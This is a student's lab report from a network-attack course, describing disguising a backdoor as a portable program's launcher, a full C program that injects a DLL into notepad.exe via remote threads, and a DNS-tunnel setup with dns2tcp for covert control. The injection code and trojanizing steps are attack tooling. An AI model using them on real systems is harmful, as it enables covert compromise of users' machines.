20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
木马化正常软件
- 思路:
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
测试模式.exe),然后通过之前实验的方法半手动编译一个后门exe程序,在原本的后门程序代码中加入对原本的程序主文件(现在的dll文件)调用,打开正常的程序。这样就可以实现隐蔽的后门,还可以诱导客户打开后门文件而不知道,也是所谓的“绿色软件”不绿色的原因。
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
实践过程
- 这里的实践是通过一种伪装,将后门伪装成软件的运行程序,将原本的运行程序伪装成其他的文件,诱使用户打开后门程序:
- 先对之前的后门代码修改一下,其实就是加入了打开另外一个exe文件的命令:

- 然后把生成的exe文件改名后放在软件的目录中:

- 运行之后果然可以打开目的软件,回连自然也是可以的。
- 通过wireshake抓包可以看出来,当我打开执行文件之后,在运行目标软件的同时也在尝试回连攻击方,在这里我没有打开攻击方虚拟机,所以ARP没有对这次回连进行响应,但是如果打开的话是肯定可以回连的。

- 现在回头看一下电脑里面的“绿色免安装版”游戏,真的是不能再爱了:

- 是不是和刚刚我把后门伪装起来的方法很像?所以如果这些所谓的绿色软件想植入后门,简直太容易了,而且很大可能性他们已经植入了。
- 所以官方软件在下载的时候都会提供MD5来给用户校验自己的软件有没有被人给篡改。
- ps:在后门程序编译的时候进入项目的属性中可以修改编译方式为静态库,这样生成的exe文件就可以独立运行,而不提示缺少dll了。
DLL注入技术实现后门注入
- 思路:
- DLL注入是将DLL注入到其他进程中的源程序之中,使用DLL注入器的软件肯定是比较方便的,但是要注入后门肯定不能告诉别人说你安装一个DLL注入器把我的后门注入进去吧,还是要靠编写代码来实现进入指定进程的地址空间,将调用后门的代码写入运行的进程之中。
- 对于DLL注入的方法网上资料相对比较丰富,但是在本次实践中时间紧张,不知道能不能搞出来。
实践过程
参考代码段:
用于注入dll到指定进程的exe程序代码,这里指定的是记事本进程:
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID
{
DWORD dwRet = 0;
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n获得进程快照失败%d", GetLastError());
return dwRet;
}
PROCESSENTRY32 pe32;//声明进程入口对象
pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小
Process32First(hSnapShot, &pe32);//遍历进程列表
do
{
if (!lstrcmp(pe32.szExeFile, lpProcessName))//查找指定进程名的PID
{
dwRet = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return dwRet;//返回
}
INT main(INT argc, CHAR * argv[])
{
DWORD dwPid = getProcessHandle("notepad.exe");
LPCSTR lpDllName = "dll_test.dll";
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
if (hProcess == NULL)
{
printf("\n获取进程句柄错误%d", GetLastError());
return -1;
}
DWORD dwSize = strlen(lpDllName) + 1;
DWORD dwHasWrite;
LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwHasWrite))
{
if (dwHasWrite != dwSize)
{
VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
CloseHandle(hProcess);
return -1;
}
}
else
{
printf("\n写入远程进程内存空间出错%d。", GetLastError());
CloseHandle(hProcess);
return -1;
}
DWORD dwNewThreadId;
LPVOID lpLoadDll = LoadLibraryA;
HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
if (hNewRemoteThread == NULL)
{
printf("\n建立远程线程失败%d", GetLastError());
CloseHandle(hProcess);
return -1;
}
WaitForSingleObject(hNewRemoteThread, INFINITE);
CloseHandle(hNewRemoteThread);
//准备卸载之前注入的Dll
DWORD dwHandle, dwID;
LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, &dwHandle);//线程的结束码即为Dll模块儿的句柄
CloseHandle(hThread);
pFunc = FreeLibrary;
hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID); //将FreeLibraryA注入到远程线程中去卸载Dll
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
- 尝试去注入进程:
- 当指定进程未开启时,连接不到进程:

- 当进程开启时,连接到进程但建立线程失败:

- 查找了一个出错函数的erro值含义了解到是因为拒绝访问而出错,接下来尝试提升权限来试试或者更改路径等方法
- 生成dll程序的代码:
。。。。。。(待补全)
DNS隧道技术实践实现后门通信隐藏。
简介
- 隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装的负载数据。
DNS隧道设置
- 使用了三台虚拟机:攻击主机-KALI;DNS服务器-windows 2008;目标靶机-KALI。
DNS服务器设置(IP-192.168.1.242)
- 首先需要一台主机作为DNS服务器,在这次实验中我用的是2008系统,建立DNS服务器的过程在网上很多,大致就是像之前建立IIS一样新建角色,然后在DNS服务器中添加主机,添加的主机的IP设为攻击主机的IP,然后新建立一个委托,域名我设置成了
cy.caiye.com。
攻击主机设置(IP-192.168.1.180)
- 接下来的所有修改建议修改之前先备份。
- 修改dns2tcpd配置文件:

- 启动dns隧道的服务端:

客户端配置(IP-192.168.52.128)
- 先删除ssh连接的known_hosts文件,可以避免出现一些ssh连接的问题,然后修改DNS解析文件:vim /etc/resolv.conf,将地址改为之前DNS服务器的地址:


- 配置dns隧道客户端程序
- 因为在kali2中,本身没有配置文件,所以需要自己写配置文件
vim /etc/dns2tcpc.conf,然后通过dns2tcpc -z cy.caiye.com测试是否可以提供服务:

- 这个时候就可以测试连接了(
dns2tcpc -c -f /etc/dns2tcpc.conf指令来监听连接):

在ssh的连接过程中遇到了一些问题,在网上找到了一部分答案,这个资料中相对全面:资料链接
实验连接测试结果:
下面是通过控制对方主机的一个客户获得root权限,然后在对方主机中新建了一个test文件



- 从结果上看,虽然实现了通过dns隧道通信来操控另外一台主机的效果,但是与实验预期的不一样,变成了靶机操控攻击端(也可能是我对dns通信过程的理解不深,反正做出来的结果和想的不一样 = =!),而且通过第二章图片攻击端的反馈信息来看,建立的连接也不是预期的效果,存在问题,希望可以通过以后的学习来解开这些疑问。
实践感想
- 本次进阶实践感觉还是很困难的,认识到自己的能力很弱,基础知识不够,三个实践内容都不简单,勉强做了一些但是还存在许多问题,希望有其他人可以做出来,然后互相学习一下思路和方法。
参考资料
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践的更多相关文章
- 20145212 罗天晨 《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
恶意代码伪装技术实践 木马化正常软件. 啊哈--原本以为很复杂--然后我看了一下蔡野同学的博客,发现原理竟然如此简单-- 对原先生成病毒的代码稍作修改: 于是--把生成的后门软件改成骗人的名字:这里改 ...
- 20155232《网络对抗》Exp4 恶意代码分析
20155232<网络对抗>Exp4 恶意代码分析 1.实践目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...
- 20145208 蔡野 《网络对抗》Exp4 恶意代码分析
20145208 蔡野 <网络对抗>Exp4 恶意代码分析 问题回答 总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,端口,服务还有文 ...
- 20145312《网络对抗》Exp4 恶意代码分析
20145312<网络对抗>Exp4 恶意代码分析 问题回答 1.总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,开放端口,程序服务还 ...
- 20155227《网络对抗》Exp4 恶意代码分析
20155227<网络对抗>Exp4 恶意代码分析 实践目标 1.是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2.是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分 ...
- 20155302《网络对抗》Exp4 恶意代码分析
20155302<网络对抗>Exp4 恶意代码分析 实验要求 •是监控你自己系统的运行状态,看有没有可疑的程序在运行. •是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工 ...
- 20155308《网络对抗》Exp4 恶意代码分析
20155308<网络对抗>Exp4 恶意代码分析 实践说明 实践目标 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20155323刘威良《网络对抗》Exp4 恶意代码分析
20155323刘威良<网络对抗>Exp4 恶意代码分析 实践目标 1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20145215《网络对抗》Exp4 恶意代码分析
20145215<网络对抗>Exp4 恶意代码分析 基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用 ...
随机推荐
- Django-MySQL数据库使用01
Django连接数据库的要求:1)Pycharm运行Django平台:2)MySQL数据库.本文的前提是这两个平台读者都已经都正确安装,未安装的朋友请自行百度.说明一下我用的Django是2.1版本, ...
- POJ_3349_Snowflake Snow Snowflakes
Snowflake Snow Snowflakes Time Limit: 4000MS Memory Limit: 65536K Total Submissions: 43504 Accep ...
- CodeForces - 586D Phillip and Trains 搜索。vis 剪枝。
http://codeforces.com/problemset/problem/586/D 题意:有一个3*n(n<100)的隧道.一个人在最左边,要走到最右边,每次他先向右移动一格,再上下移 ...
- 洛谷P2602 数字计数 [ZJOI2010] 数位dp
正解:数位dp 解题报告: 传送门! 打算在寒假把学长发过题解的题目都做辣然后把不会的知识点都落实辣! ⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄ 然后这道题,开始想到的时候其实想到的是大模拟,就有点像之前考试贪 ...
- 洛谷P1967 货车运输 [noip2013] 图论
正解:kruskal+LCA 解题报告: 哇真实心痛了...明明都没多少时间了我居然耗了一个上午+一个中午在上面?哭死辽我QAQ果然菜是原罪QAQ 然后这题,我先港下60pts做法趴?话说其实我觉得我 ...
- oracle查询表结构语句
select o.table_name, tmp.comments, o.COLUMN_NAME, t.comments, o.DATA_TYPE || CASE TRIM(o.DATA_TYPE) ...
- 在系统启动时,Windows Vista 中、 在 Windows 7 中,Windows Server 2008 中和在 Windows Server 2008 R2 中的 497 天后未关闭 TIME_WAIT 状态的所有 TCP/IP 端口
在系统启动时,Windows Vista 中. 在 Windows 7 中,Windows Server 2008 中和在 Windows Server 2008 R2 中的 497 天后未关闭 TI ...
- MUTABLE和IMMUTABLE集合
Scala 集合类系统地区分了可变的和不可变的集合.可变集合可以在适当的地方被更新或扩展.这意味着你可以修改,添加,移除一个集合的元素.而不可变集合类,相比之下,永远不会改变.不过,你仍然可以模拟添加 ...
- POJ3087:Shuffle'm Up(模拟)
http://poj.org/problem?id=3087 Description A common pastime for poker players at a poker table is to ...
- R中apply等函数用法[转载]
转自:https://www.cnblogs.com/nanhao/p/6674063.html 1.apply函数——对矩阵 功能是:Retruns a vector or array or lis ...